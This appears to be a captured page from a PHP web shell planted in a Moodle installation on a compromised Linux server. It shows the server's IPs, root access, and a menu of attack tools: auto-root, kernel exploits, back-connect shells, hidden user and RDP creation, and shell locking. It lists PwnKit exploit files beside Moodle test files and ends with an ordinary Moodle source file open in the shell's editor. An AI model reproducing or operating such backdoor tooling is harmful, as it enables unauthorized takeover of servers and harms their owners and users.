Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
action_menu.feature
1.11
KB
-rwxrwxrwx
action_modal.feature
2.19
KB
-rwxrwxrwx
alpha_chooser.feature
21.29
KB
-rwxrwxrwx
app_behat_runtime.js
24.63
KB
-rwxrwxrwx
behat_action_menu.php
8.02
KB
-rwxrwxrwx
behat_app.php
21.51
KB
-rwxrwxrwx
behat_data_generators.php
9.71
KB
-rwxrwxrwx
behat_deprecated.php
6.48
KB
-rwxrwxrwx
behat_filters.php
2.95
KB
-rwxrwxrwx
behat_forms.php
29.89
KB
-rwxrwxrwx
behat_general.php
89.95
KB
-rwxrwxrwx
behat_hooks.php
33.02
KB
-rwxrwxrwx
behat_navigation.php
45.76
KB
-rwxrwxrwx
behat_permissions.php
12.47
KB
-rwxrwxrwx
behat_transformations.php
5.56
KB
-rwxrwxrwx
datetime_any.feature
4.09
KB
-rwxrwxrwx
largeforms.feature
4.45
KB
-rwxrwxrwx
locking.feature
8.26
KB
-rwxrwxrwx
min_max_version.feature
1
KB
-rwxrwxrwx
permissionmanager.feature
2.61
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
readonlyform.feature
1.63
KB
-rwxrwxrwx
securelayout.feature
1.68
KB
-rwxrwxrwx
timezone.feature
431
B
-rwxrwxrwx
userfeedback.feature
2.21
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_filters.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Steps definitions related to filters. * * @package core * @category test * @copyright 2018 the Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // Note: You cannot use MOODLE_INTERNAL test here, or include files which do so. // This file is required by behat before including /config.php. require_once(__DIR__ . '/../../behat/behat_base.php'); /** * Steps definitions related to filters. * * @package core * @category test * @copyright 2018 the Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_filters extends behat_base { /** * Set the global filter configuration. * * @Given /^the "(?P<filter_name>(?:[^"]|\\")*)" filter is "(on|off|disabled)"$/ * * @param string $filtername the name of a filter, e.g. 'glossary'. * @param string $statename 'on', 'off' or 'disabled'. */ public function the_filter_is($filtername, $statename) { require_once(__DIR__ . '/../../filterlib.php'); switch ($statename) { case 'on': $state = TEXTFILTER_ON; break; case 'off': $state = TEXTFILTER_OFF; break; case 'disabled': $state = TEXTFILTER_DISABLED; break; default: throw new coding_exception('Unknown filter state: ' . $statename); } filter_set_global_state($filtername, $state); } /** * Set the global filter target. * * @Given /^the "(?P<filter_name>(?:[^"]|\\")*)" filter applies to "(content|content and headings)"$/ * * @param string $filtername the name of a filter, e.g. 'glossary'. * @param string $filtertarget 'content' or 'content and headings'. */ public function the_filter_applies_to($filtername, $filtertarget) { switch ($filtertarget) { case 'content and headings': filter_set_applies_to_strings($filtername, 1); break; case 'content': filter_set_applies_to_strings($filtername, 0); break; default: throw new coding_exception('Unknown filter target: ' . $filtertarget); } } }
Close